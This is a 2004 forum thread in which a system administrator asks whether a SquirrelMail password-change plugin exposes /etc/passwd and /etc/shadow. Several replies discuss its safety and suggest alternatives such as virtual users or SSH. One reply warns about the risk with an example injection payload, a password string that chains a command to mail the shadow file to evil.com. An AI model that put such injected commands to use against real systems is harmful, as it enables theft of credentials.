| View previous topic :: View next topic |
| Author |
Message |
dreamer
Apprentice
Joined: 16 Aug 2003
Posts: 236
|
 Posted: Mon Mar 01, 2004 12:17 pm Post subject: squirrelmail and passwd pluging. How safe is it? |
 |
|
Hi,
Due to several complaining users, i think about installing the passwd plugin for squirrelmail. This plugin will allow them to change their password's any time they like.
This is fine to me. however, i am wondering if this will have any impact on my server's security. After all, installing this plugin enables the possibility to alter /etc/passwd and /etc/shadow from the internet. And i don't like this.
Am i being (too) paranoid? And does anyone have experience with this plugin?
thnx! |
|
| Back to top |
|
 |
georwell
Guru
Joined: 25 Jun 2003
Posts: 430
Location: Uppsala, Sweden
|
| Posted: Mon Mar 01, 2004 12:46 pm Post subject: |
|
|
| Can't help you out because none of my mail users actually have user accounts on the system. If this is really bothering you then you should switch mail servers so that email users don't actually correspond to system users. (Are you using SASL?) That said, browse through the code and look for anything obvious. I imagine it is using some form of chpasswd or something similar. You are using SSL right? |
|
| Back to top |
|
|
dreamer
Apprentice
Joined: 16 Aug 2003
Posts: 236
|
| Posted: Mon Mar 01, 2004 1:56 pm Post subject: |
|
|
i use ssl indeed.
The source is pretty straigthforward, it calls passwd and forwards it's output to the webinterface. Seems safe to me.
it's just, i don't like the feeling, maybe i should get over it  |
|
| Back to top |
|
|
afabbro
Tux's lil' helper
Joined: 12 Jan 2003
Posts: 92
Location: Portland, OR
|
| Posted: Mon Mar 01, 2004 4:09 pm Post subject: |
|
|
| dreamer wrote: | i use ssl indeed.
The source is pretty straigthforward, it calls passwd and forwards it's output to the webinterface. Seems safe to me. |
The question is, what if someone changes their password to
| Code: | | abc123 ; /bin/sh cat /etc/shadow | mail somewhere@evil.com |
or something, and that gets passed to passwd in the shell. This may not be an exactly applicable example, but you see what I'm getting at. I'm not saying it can't be done securely but...Id' want it written carefully. (Is using the shell + /bin/passwd really necessary? Why can't they just use the C library call?)
Can you restrict access to the intranet? Or have them ssh to the box and run some simple password change script? |
|
| Back to top |
|
|
dreamer
Apprentice
Joined: 16 Aug 2003
Posts: 236
|
| Posted: Mon Mar 01, 2004 5:57 pm Post subject: |
|
|
injection might be a danger indeed. In fact, after looking a little bit deeper into the code, i've decided to rewrite the plugin.
e.g. the current one uses its own implementation of chpasswd, allowing the user to submit passwords of only one character! 
I'm not sure if the plugin maintainer is still around, but i try to reach him. Your "ssh solution" is nice as well, maybe i use that for the time being. |
|
| Back to top |
|
|
fleed
l33t
Joined: 28 Aug 2002
Posts: 756
Location: London
|
| Posted: Tue Mar 02, 2004 10:43 am Post subject: |
|
|
| Or you could also make it all much more secure by using virtual users instead of system ones (as suggested by georwell.) |
|
| Back to top |
|
|
dreamer
Apprentice
Joined: 16 Aug 2003
Posts: 236
|
| Posted: Tue Mar 02, 2004 11:31 am Post subject: |
|
|
| fleed wrote: | | Or you could also make it all much more secure by using virtual users instead of system ones (as suggested by georwell.) |
You're right, but since most of my users are "real" ( lot's of samba users ) it's convenient to use them. But maybe i should look into virtual users indeed...
Would it become a mess if i use both real and virtual users ( with the same logins ) on one system?
Anyway, i contacted the maintainer and he said he's been working on a new version and it will contain most of the things i was missing. There will be a new release very soon.
In the meantime, my users have to stick with their old passwords  |
|
| Back to top |
|
|
fleed
l33t
Joined: 28 Aug 2002
Posts: 756
Location: London
|
| Posted: Tue Mar 02, 2004 11:41 am Post subject: |
|
|
| Could you use samba to change your passwords instead of squirrelmail? If all the users use both then that might be a more viable (and secure, and better integrated) option! |
|
| Back to top |
|
|
dreamer
Apprentice
Joined: 16 Aug 2003
Posts: 236
|
| Posted: Tue Mar 02, 2004 1:08 pm Post subject: |
|
|
| wouldn;t that only change the file smbpasswd ? |
|
| Back to top |
|
|
|
Networking & Security
